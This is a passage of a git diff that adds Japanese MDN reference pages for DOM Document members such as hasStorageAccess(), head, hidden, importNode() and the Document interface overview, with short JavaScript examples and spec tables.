name="Specification">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.hasFocus")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/Guide/User_experience/Using_the_Page_Visibility_API">Page Visibility API の使用</a></li> +</ul> diff --git a/files/ja/web/api/document/hasstorageaccess/index.html b/files/ja/web/api/document/hasstorageaccess/index.html new file mode 100644 index 0000000000..c1be7b0324 --- /dev/null +++ b/files/ja/web/api/document/hasstorageaccess/index.html @@ -0,0 +1,57 @@ +--- +title: Document.hasStorageAccess() +slug: Web/API/Document/hasStorageAccess +tags: + - API + - DOM + - Document + - Reference + - Storage Access API + - hasStorageAccess + - メソッド +translation_of: Web/API/Document/hasStorageAccess +--- +<div>{{APIRef}}{{seecompattable}}</div> + +<p>{{domxref("Document")}} インターフェイスの <strong><code>hasStorageAccess()</code></strong> メソッドは、文書がファーストパーティのストレージへのアクセス権を持っているかどうかを真偽値で解決する {{jsxref("Promise")}} を返します。</p> + +<p>詳しくは <a href="/ja/docs/Web/API/Storage_Access_API">Storage Access API</a> を参照してください。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <em>promise</em> = document.hasStorageAccess();</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<p>なし。</p> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>文書がファーストパーティのストレージへのアクセス権を持っているかどうかを真偽値で解決する {{jsxref("Promise")}} です。</p> + +<p>Promise が解決され、関数が最初に呼び出されたときにユーザージェスチャーイベントを処理していた場合、解決ハンドラーはユーザージェスチャーが処理されているかのように実行されるため、ユーザーによるアクティベーションを必要とする API を呼び出すことができます。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<pre class="brush: js">document.hasStorageAccess().then(hasAccess => { + if (hasAccess) { + // ストレージへのアクセスはすでに許可されています。 + } else { + // ストレージへのアクセスはまだ許可されていません。 + // requestStorageAccess() を呼び出す必要があります。 + } +});</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<p>この API はまだ提案段階にあります。 — 標準化プロセスはまだ始まっていません。現在のところ、この API の詳細の仕様書は、アップルのブログ投稿の <a href="https://webkit.org/blog/8124/introducing-storage-access-api/">Introducing Storage Access API</a>、および <a href="https://github.com/whatwg/html/issues/3338">WHATWG HTML issue 3338 — Proposal: Storage Access API</a> で見ることができます。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.hasStorageAccess")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<p><a href="/ja/docs/Web/API/Storage_Access_API">Storage Access API</a></p> diff --git a/files/ja/web/api/document/head/index.html b/files/ja/web/api/document/head/index.html new file mode 100644 index 0000000000..1916b0964b --- /dev/null +++ b/files/ja/web/api/document/head/index.html @@ -0,0 +1,84 @@ +--- +title: Document.head +slug: Web/API/Document/head +tags: + - API + - Document + - HTML DOM + - Reference + - head +translation_of: Web/API/Document/head +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary">{{domxref("Document")}} インターフェイスの <code><strong>head</strong></code> は読み取り専用のプロパティで、現在の文書の {{HTMLElement("head")}} 要素を返します。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>objRef</var> = <var>document</var>.head; +</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>{{domxref("HTMLHeadElement")}} です。</p> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: html"><!doctype html> +<head id="my-document-head"> + <title>Example: using document.head</title> +</head> + +<script> + var theHead = document.head; + + console.log(theHead.id); // "my-document-head"; + + console.log( theHead === document.querySelector("head") ); // true +</script> +</pre> + +<h2 id="Notes" name="Notes">メモ</h2> + +<p><code>document.head</code> は読取専用です。このプロパティに値を代入した場合は、暗黙に失敗するか、 <a href="/ja/docs/Web/JavaScript/Reference/Strict_mode">Strict モード</a>の場合は、 {{jsxref("TypeError")}} を投げます。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="spectable standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.head")}}</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("document.body")}}</li> +</ul> diff --git a/files/ja/web/api/document/height/index.html b/files/ja/web/api/document/height/index.html new file mode 100644 index 0000000000..ab0d767e29 --- /dev/null +++ b/files/ja/web/api/document/height/index.html @@ -0,0 +1,53 @@ +--- +title: Document.height +slug: Web/API/Document/height +tags: + - DOM + - DOM_0 + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/height +--- +<div>{{APIRef("DOM")}} {{Obsolete_header}}</div> + +<div class="note"> +<p><strong>メモ:</strong> {{Gecko("6.0")}} より <code>document.height</code> には対応しなくなりました。代わりに <code>document.body.clientHeight</code> を使用してください。 {{domxref("element.clientHeight")}} を参照して下さい。</p> +</div> + +<p>現在の {{domxref("document")}} オブジェクトの高さを返します。多くの場合、これは現在の文書の {{HTMLElement("body")}} 要素の高さと同じ値です。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>pixels</var> = document.height +</pre> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js">// 文書の高さを表示 +alert(document.height); +</pre> + +<h2 id="Alternatives" name="Alternatives">代替策</h2> + +<pre class="syntaxbox">document.body.clientHeight +document.documentElement.clientHeight +document.documentElement.scrollHeight +</pre> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<p>HTML5</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.height")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("document.width")}}</li> + <li>{{domxref("Element.clientHeight")}}</li> + <li>{{domxref("Element.scrollHeight")}}</li> +</ul> diff --git a/files/ja/web/api/document/hidden/index.html b/files/ja/web/api/document/hidden/index.html new file mode 100644 index 0000000000..65aef6d5af --- /dev/null +++ b/files/ja/web/api/document/hidden/index.html @@ -0,0 +1,53 @@ +--- +title: Document.hidden +slug: Web/API/Document/hidden +tags: + - DOM + - Document + - Page Visibility API + - Property + - Read-only + - Reference + - Web +translation_of: Web/API/Document/hidden +--- +<p>{{ ApiRef("DOM") }}</p> + +<p><code><strong>Document.hidden</strong></code> は読み取り専用のプロパティで、ページが非表示になっているとみられるかどうかを示す論理値を返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>boolean</var> = document.hidden</pre> + +<h2 id="Examples" name="Examples">例</h2> + +<pre class="brush:js; notranslate">document.addEventListener("visibilitychange", function() { + console.log( document.hidden ); + // 振る舞いを修正... +}); +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}}</td> + <td>{{Spec2('Page Visibility API')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.hidden")}}</p> diff --git a/files/ja/web/api/document/images/index.html b/files/ja/web/api/document/images/index.html new file mode 100644 index 0000000000..15835ddf89 --- /dev/null +++ b/files/ja/web/api/document/images/index.html @@ -0,0 +1,38 @@ +--- +title: document.images +slug: Web/API/Document/images +tags: + - DOM + - Document + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/images +--- +<div> + {{ApiRef}}</div> +<h2 id="Summary" name="Summary">概要</h2> +<p><code>document.images</code> は、現在の HTML 文書の {{domxref("Image")}} のコレクションを返します。</p> +<h2 id="Syntax" name="Syntax">構文</h2> +<pre class="syntaxbox">var <var>htmlCollection</var> = document.images;</pre> +<h2 id="Example" name="Example">例</h2> +<p>特定の src 属性値を持つ img 要素が文書中に存在する場合にのみ何らかの処理を行う例を以下に示します。</p> +<pre class="brush:js">var ilist = document.images; + +for(var i = 0; i < ilist.length; i++) { + if(ilist[i].src == "banner.gif") { + // bunner.gif が存在した場合の処理 + } +}</pre> +<h2 id="Properties" name="Properties">プロパティ</h2> +<dl> + <dt> + <code>document.images.length</code></dt> + <dd> + 文書中の画像の数を返す</dd> +</dl> +<h2 id="Notes" name="Notes">注記</h2> +<p><code>document.images</code> は DOM HTML の一部であり、HTML 文書に於いてのみ動作します。</p> +<h2 id="Specification" name="Specification">仕様書</h2> +<ul> + <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-90379117">DOM Level 2 HTML: HTMLDocument.images</a></li> +</ul> diff --git a/files/ja/web/api/document/implementation/index.html b/files/ja/web/api/document/implementation/index.html new file mode 100644 index 0000000000..08cc40c5c3 --- /dev/null +++ b/files/ja/web/api/document/implementation/index.html @@ -0,0 +1,68 @@ +--- +title: Document.implementation +slug: Web/API/Document/implementation +tags: + - API + - DOM + - Document + - NeedsContent + - Property + - Reference +translation_of: Web/API/Document/implementation +--- +<div>{{ ApiRef("DOM") }}</div> + +<p><code><strong>Document.implementation</strong></code> プロパティは、現在の文書に関連付けられた {{domxref("DOMImplementation")}} オブジェクトを返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate"><var>DOMImpObj</var> = <var>document</var>.implementation; +</pre> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js notranslate">var modName = "HTML"; +var modVer = "2.0"; +var conformTest = document.implementation.hasFeature( modName, modVer ); + +alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest ); + +// DOM Level 2 HTML module に対応している場合、"DOM HTML 2.0 supported?: true" とアラート表示されます。 +</pre> + +<p>モジュール名 (※ Core 、HTML 、XML 等) の一覧は <a href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance-h2">Conformance Section</a> で入手可能です。</p> + +<h2 id="Notes" name="Notes">メモ</h2> + +<p>W3C's DOM Level 1 勧告では <code>hasFeature</code> メソッドのみが定義されているので、ブラウザーが DOM モジュールに対応しているかどうかを判断する方法の一つです。 (上記の例と <a href="http://www.w3.org/2003/02/06-dom-support.html">What does your user agent claim to support?</a> を参照してください)。利用できるのであれば、 <code>DOMImplementation</code> の他のメソッドが、単一文書の外のものを制御するサービスを提供します。例えば、 <code>DOMImplementation</code> インターフェイスは <code>createDocumentType</code> メソッドを含んでおり、実装によって管理された1つ以上の文書に DTD が作成されます。</p> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-implementation', 'document.implementation')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.implementation")}}</p> + +<h3 id="Gecko-specific_notes" name="Gecko-specific_notes">Gecko に特有のメモ</h3> + +<ul> + <li>Gecko 19.0 {{geckoRelease("19.0")}} から、 {{domxref("DOMImplementation.hasFeature","hasFeature")}} メソッドは常に true を返します。</li> +</ul> diff --git a/files/ja/web/api/document/importnode/index.html b/files/ja/web/api/document/importnode/index.html new file mode 100644 index 0000000000..3a6768769d --- /dev/null +++ b/files/ja/web/api/document/importnode/index.html @@ -0,0 +1,111 @@ +--- +title: Document.importNode() +slug: Web/API/Document/importNode +tags: + - API + - DOM + - Document + - Method + - Node + - Reference + - copy + - importNode +translation_of: Web/API/Document/importNode +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary">{{domxref("Document")}} オブジェクトの <strong><code>importNode()</code></strong> メソッドは、後で現在の文書に挿入するために、他の文書から {{domxref("Node")}} または {{domxref("DocumentFragment")}} の複製を作成します。</span></p> + +<p>インポートされたノードは、まだ文書ツリーには含まれません。これを含めるには、 {{domxref("Node.appendChild", "appendChild()")}} や {{domxref("Node.insertBefore", "insertBefore()")}} のような挿入メソッドを、現在の文書ツリーに<em>存在する</em>ノードに対して呼び出す必要があります。</p> + +<p>{{domxref("document.adoptNode()")}} とは異なり、元の文書から元のノードは削除されません。インポートされたノードは元のノードの複製です。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">const <var>importedNode</var> = document.importNode(<var>externalNode</var> [, <var>deep</var>]); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><code><var>externalNode</var></code></dt> + <dd>現在の文書にインポートする、外部の {{domxref("Node")}} または {{domxref("DocumentFragment")}} です。</dd> + <dt><code><var>deep</var></code> {{optional_inline}}</dt> + <dd>論理値で、 <code><var>externalNode</var></code> の DOM サブツリー全体をインポートするかどうかを制御します。 + <ul> + <li><code><var>deep</var></code> が <code>true</code> に設定された場合、 <code><var>externalNode</var></code> およびその子孫全てが複製されます。</li> + <li><code><var>deep</var></code> が <code>false</code> に設定された場合、 <code><var>externalNode</var></code> のみがインポートされます — 新しいノードには子ノードはない状態になります。</li> + </ul> + + <div class="note"> + <p><strong>中:</strong> DOM4 仕様書では、 <code><var>deep</var></code> 羽オプションの引数で、既定値は <code>true</code> でした。</p> + + <p><strong>最新の仕様書ではこの既定値が変更されました。</strong>新しい既定値は <strong><code>false</code></strong> になりました。</p> + + <p><strong>おすすめの方法:</strong> これは現在もオプションの引数ですが、常に <code><var>deep</var></code> 引数を渡すことが後方互換性<em>および</em>前方互換性には有用です。</p> + + <ul> + <li>Gecko 28.0 {{geckoRelease(28)}} では、コンソールでこの引数を省略しないよう開発者に警告しています。</li> + <li>Gecko 29.0 {{geckoRelease(29)}}) 以降、深いクローンではなく浅いクローンが既定値になっています。</li> + </ul> + </div> + </dd> +</dl> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>インポートする側の文書のスコープにコピーされた <code><var>importedNode</var></code> です。</p> + +<div class="blockIndicator note"> +<p><strong>注:</strong> <code><var>importedNode</var></code>'s {{domxref("Node.parentNode")}} は <code>null</code> になります。まだ文書ツリーに挿入されていないからです。</p> +</div> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js notranslate">const iframe = document.querySelector("iframe"); +const oldNode = iframe.contentWindow.document.getElementById("myNode"); +const newNode = document.importNode(oldNode, true); +document.getElementById("container").appendChild(newNode); +</pre> + +<h2 id="Notes" name="Notes">注</h2> + +<p>{{page("/ja/docs/Web/API/Document/adoptNode", "Notes")}}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-document-importnode", "document.importNode()")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("DOM2 Core", "core.html#Core-Document-importNode", "document.importNode()")}}</td> + <td>{{Spec2("DOM2 Core")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.importNode")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("document.adoptNode()")}} このメソッドととても似た動作を行う</li> + <li>{{domxref("Node.appendChild()")}}</li> + <li>{{domxref("Node.insertBefore()")}}</li> +</ul> diff --git a/files/ja/web/api/document/index.html b/files/ja/web/api/document/index.html new file mode 100644 index 0000000000..3a7cad090c --- /dev/null +++ b/files/ja/web/api/document/index.html @@ -0,0 +1,664 @@ +--- +title: Document +slug: Web/API/Document +tags: + - API + - DOM + - Document + - Interface + - Reference +translation_of: Web/API/Document +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary"><strong><code>Document</code></strong> インターフェイスはブラウザーに読み込まれたウェブページを表し、 <a href="/ja/docs/Using_the_W3C_DOM_Level_1_Core">DOM ツリー</a>であるウェブページのコンテンツへのエントリーポイントとして働きます。</span> DOM ツリーは {{HTMLElement("body")}} や {{HTMLElement("table")}} など、<a href="/ja/docs/Web/HTML/Element">多数の要素</a>を持ちます。これはページの URL を取得したり文書で新たな要素を作成するなど、文書全体に関わる機能を提供します。</p> + +<p>{{InheritanceDiagram}}</p> + +<p><code>Document</code> インターフェイスは、あらゆる種類の文書に対して共通のプロパティやメソッドを提供します。また、文書の種類 (例: <a href="/ja/docs/HTML">HTML</a>、<a href="/ja/docs/XML">XML</a>、SVG など) に応じて、より大規模な API を使用できます。コンテンツタイプ <code>"text/html"</code> で提供される HTML 文書では、 {{DOMxRef("HTMLDocument")}} インターフェイスも実装します。一方 XML や SVG 文書では、 {{DOMxRef("XMLDocument")}} インターフェイスを実装します。</p> + +<h2 id="Constructor" name="Constructor">コンストラクター</h2> + +<dl> + <dt>{{DOMxRef("Document.Document", "Document()")}}</dt> + <dd>新しい <code>Document</code> オブジェクトを作成します。</dd> +</dl> + +<h2 id="Properties" name="Properties">プロパティ</h2> + +<p><em>このインターフェイスは、 {{DOMxRef("Node")}} インターフェイスおよび {{DOMxRef("EventTarget")}} インターフェイスのプロパティも継承しています。</em></p> + +<dl> + <dt>{{DOMxRef("Document.anchors")}}{{ReadOnlyInline}}</dt> + <dd>文書内のすべてのアンカーのリストを返します。</dd> + <dt>{{DOMxRef("Document.body")}}</dt> + <dd>現在の文書の {{HTMLElement("body")}} または {{htmlelement("frameset")}} ノードを返します。</dd> + <dt>{{DOMxRef("Document.characterSet")}}{{ReadOnlyInline}}</dt> + <dd>文書に適用されている文字セットを返します。</dd> + <dt>{{DOMxRef("Document.compatMode")}} {{Experimental_Inline}}{{ReadOnlyInline}}</dt> + <dd>文書が <em>Quirks</em> モードと <em>Strict</em> モードのどちらで描画されているかを示します。</dd> + <dt>{{DOMxRef("Document.contentType")}} {{Experimental_Inline}}{{ReadOnlyInline}}</dt> + <dd>現在の文書の MIME ヘッダーから Content-Type を返します。</dd> + <dt>{{DOMxRef("Document.doctype")}}{{ReadOnlyInline}}</dt> + <dd>現在の文書の文書型宣言 (DTD) を返します。</dd> + <dt>{{DOMxRef("Document.documentElement")}}{{ReadOnlyInline}}</dt> + <dd>文書の直接の子である {{DOMxRef("Element")}} を返します。 HTML 文書では、これは通常は文書の {{HTMLElement("html")}} 要素を表す {{DOMxRef("HTMLElement")}} オブジェクトになります。</dd> + <dt>{{DOMxRef("Document.documentURI")}}{{ReadOnlyInline}}</dt> + <dd>文書の場所を文字列で返します。</dd> + <dt>{{DOMxRef("Document.embeds")}}{{ReadOnlyInline}}</dt> + <dd>現在の文書に含まれる、埋め込まれた {{HTMLElement('embed')}} 要素のリストを返します。</dd> + <dt>{{DOMxRef("Document.fonts")}}</dt> + <dd>現在の文書の {{DOMxRef("FontFaceSet")}} インターフェイスを返します。</dd> + <dt>{{DOMxRef("Document.forms")}}{{ReadOnlyInline}}</dt> + <dd>現在の文書の {{HTMLElement("form")}} 要素のリストを返します。</dd> + <dt>{{DOMxRef("Document.head")}}{{ReadOnlyInline}}</dt> + <dd>現在の文書の {{HTMLElement("head")}} 要素を返します。</dd> + <dt>{{DOMxRef("Document.hidden")}}{{ReadOnlyInline}}</dt> + <dd>このページが非表示と見なされているかどうかを論理値で返します。</dd> + <dt>{{DOMxRef("Document.images")}}{{ReadOnlyInline}}</dt> + <dd>現在の文書の画像のリストを返します。</dd> + <dt>{{DOMxRef("Document.implementation")}}{{ReadOnlyInline}}</dt> + <dd>現在の文書に関連付けられた DOM 実装を返します。</dd> + <dt>{{DOMxRef("Document.lastStyleSheetSet")}}{{ReadOnlyInline}}</dt> + <dd>直前に有効であったスタイルシートセットの名称を返します。 {{DOMxRef("Document.selectedStyleSheetSet","selectedStyleSheetSet")}} に値を設定してスタイルシートを変更するまで、この値は <code>null</code> になります。</dd> + <dt>{{DOMxRef("Document.links")}}{{ReadOnlyInline}}</dt> + <dd>文書内のすべてのハイパーリンクのリストを返します。</dd> + <dt>{{DOMxRef("Document.mozSyntheticDocument")}} {{Non-standard_Inline}}</dt> + <dd>単独の画像、動画、オーディオファイルなど、文書が Synthetic である場合に限り <code>true</code> となる {{JSxRef("Boolean")}} を返します。</dd> + <dt>{{DOMxRef("Document.plugins")}}{{ReadOnlyInline}}</dt> + <dd>利用可能なプラグインのリストを返します。</dd> + <dt>{{DOMxRef("Document.featurePolicy")}} {{Experimental_Inline}}{{ReadOnlyInline}}</dt> + <dd>特定の文書に適用する機能ポリシーを見るための簡単な API を提供する {{DOMxRef("FeaturePolicy")}} インターフェイスを返します。</dd> + <dt>{{DOMxRef("Document.preferredStyleSheetSet")}}{{ReadOnlyInline}}</dt> + <dd>ページの作者によって設定された、優先的なスタイルシートを返します。</dd> + <dt>{{DOMxRef("Document.scripts")}}{{ReadOnlyInline}}</dt> + <dd>文書内のすべての {{HTMLElement("script")}} 要素を返します。</dd> + <dt>{{DOMxRef("Document.scrollingElement")}}{{ReadOnlyInline}}</dt> + <dd>文書をスクロールする {{DOMxRef("Element")}} への参照を返します。</dd> + <dt>{{DOMxRef("Document.selectedStyleSheetSet")}}</dt> + <dd>現在どのスタイルシートセットを使用しているかを返します。</dd> + <dt>{{DOMxRef("Document.styleSheetSets")}}{{ReadOnlyInline}}</dt> + <dd>文書で使用できるスタイルシートセットのリストを返します。</dd> + <dt>{{DOMxRef("Document.timeline")}}{{ReadOnlyInline}}</dt> + <dd>タイムラインを {{domxref("DocumentTimeline")}} の特別なインスタンスで返します。これはページの読み込み時に自動的に生成されます。</dd> + <dt>{{DOMxRef("Document.undoManager")}} {{Experimental_Inline}}{{ReadOnlyInline}}</dt> + <dd>…</dd> + <dt>{{DOMxRef("Document.visibilityState")}}{{ReadOnlyInline}}</dt> + <dd>文書の可視性を表す <code>string</code> を返します。 <code>visible</code>, <code>hidden</code>, <code>prerender</code>, <code>unloaded</code> のいずれかの値になります。</dd> +</dl> + +<p><code>Document</code> インターフェイスは、 {{DOMxRef("ParentNode")}} インターフェイスから派生しています。</p> + +<p>{{page("/ja/docs/Web/API/ParentNode","Properties")}}</p> + +<h3 id="Extensions_for_HTMLDocument" name="Extensions_for_HTMLDocument">HTML 文書向けの拡張</h3> + +<p><em>HTML 文書用の <code>Document</code> インターフェイスは {{DOMxRef("HTMLDocument")}} インターフェイスから継承する、あるいは HTML5 文書向けに拡張されています。</em></p> + +<dl> + <dt>{{DOMxRef("Document.cookie")}}</dt> + <dd>文書のクッキーをセミコロンで区切られたリストで返すか、1 つのクッキーを設定します。</dd> + <dt>{{DOMxRef("Document.defaultView")}}{{ReadOnlyInline}}</dt> + <dd>window オブジェクトへの参照を返します。</dd> + <dt>{{DOMxRef("Document.designMode")}}</dt> + <dd>文書全体を編集可能かを取得 / 設定します。</dd> + <dt>{{DOMxRef("Document.dir")}}{{ReadOnlyInline}}</dt> + <dd>文書の書字方向 (rtl/ltr) を取得 / 設定します。</dd> + <dt>{{DOMxRef("Document.domain")}}</dt> + <dd>現在の文書のドメインを取得 / 設定します。</dd> + <dt>{{DOMxRef("Document.lastModified")}}{{ReadOnlyInline}}</dt> + <dd>文書の最終更新日を返します。</dd> + <dt>{{DOMxRef("Document.location")}}{{ReadOnlyInline}}</dt> + <dd>現在の文書の URI を返します。</dd> + <dt>{{DOMxRef("Document.readyState")}}{{ReadOnlyInline}}</dt> + <dd>文書の読み込み状況を表す文字列を返します。</dd> + <dt>{{DOMxRef("Document.referrer")}}{{ReadOnlyInline}}</dt> + <dd>このページへリンクしたページの URI を返します。</dd> + <dt>{{DOMxRef("Document.title")}}</dt> + <dd>現在の文書のタイトルを設定または取得します。</dd> + <dt>{{DOMxRef("Document.URL")}}{{ReadOnlyInline}}</dt> + <dd>現在の文書の URL を含む文字列を返します。</dd> +</dl> + +<h3 id="Properties_included_from_DocumentOrShadowRoot" name="Properties_included_from_DocumentOrShadowRoot">DocumentOrShadowRoot からインクルードしたプロパティ</h3> + +<p><em><code>Document</code> インターフェイスは、 {{DOMxRef("DocumentOrShadowRoot")}} ミックスインで定義された以下のプロパティを含んでいます。これらは現在 Chrome のみ実装しています。ほかのブラウザーはいまだに、 {{DOMxRef("Document")}} インターフェイスに直接実装しています。</em></p> + +<dl> + <dt>{{DOMxRef("DocumentOrShadowRoot.activeElement")}}{{ReadOnlyInline}}</dt> + <dd>フォーカスを持つシャドウツリーがある {{DOMxRef('Element')}} を返します。</dd> + <dt>{{DOMxRef("Document.fullscreenElement")}}{{ReadOnlyInline}}</dt> + <dd>文書で現在全画面モードになっている要素です。</dd> + <dt>{{DOMxRef("DocumentOrShadowRoot.pointerLockElement")}} {{Experimental_Inline}}{{ReadOnlyInline}}</dt> + <dd>マウスポインターをロックしているときに、mouse イベントのターゲットとして設定された要素を返します。ロックが未実施、ロックが解除済み、あるいは別の文書がターゲットである場合は <code>null</code> になります。</dd> + <dt>{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}{{ReadOnlyInline}}</dt> + <dd>文書へ明示的にリンクまたは埋め込まれているスタイルシートの {{DOMxRef('CSSStyleSheet')}} オブジェクトの、{{DOMxRef('StyleSheetList')}} を返します。</dd> +</dl> + +<h3 id="Event_handlers" name="Event_handlers">イベントハンドラー</h3> + +<dl> + <dt>{{DOMxRef("Document.onafterscriptexecute")}} {{Non-standard_Inline}}</dt> + <dd>{{event("afterscriptexecute")}} イベント用のイベント制御コードを表します。</dd> + <dt>{{DOMxRef("Document.onbeforescriptexecute")}} {{Non-standard_Inline}}</dt> + <dd>{{event("beforescriptexecute")}} イベント用のイベント制御コードを表します。</dd> + <dt>{{DOMxRef("Document.oncopy")}} {{Non-standard_Inline}}</dt> + <dd>{{event("copy")}} イベント用のイベント制御コードを表します。</dd> + <dt>{{DOMxRef("Document.oncut")}} {{Non-standard_Inline}}</dt> + <dd>{{event("cut")}} イベント用のイベント制御コードを表します。</dd> + <dt>{{DOMxRef("Document.onfullscreenchange")}}</dt> + <dd>{{event("fullscreenchange")}} イベントが発生したときに呼び出すコードを表す {{DOMxRef("EventHandler")}} です。</dd> + <dt>{{DOMxRef("Document.onfullscreenerror")}}</dt> + <dd>{{event("fullscreenerror")}} イベントが発生したときに呼び出すコードを表す {{DOMxRef("EventHandler")}} です。</dd> + <dt>{{DOMxRef("Document.onpaste")}} {{Non-standard_Inline}}</dt> + <dd>{{event("paste")}} イベント用のイベント制御コードを表します。</dd> + <dt>{{DOMxRef("Document.onreadystatechange")}}</dt> + <dd>{{event("readystatechange")}} イベント用のイベント制御コードを表します。</dd> + <dt>{{DOMxRef("Document.onselectionchange")}} {{Experimental_Inline}}</dt> + <dd>{{event("selectionchange")}} イベントが発生したときに呼び出すコードを表す {{DOMxRef("EventHandler")}} です。</dd> + <dt>{{DOMxRef("Document.onvisibilitychange")}}</dt> + 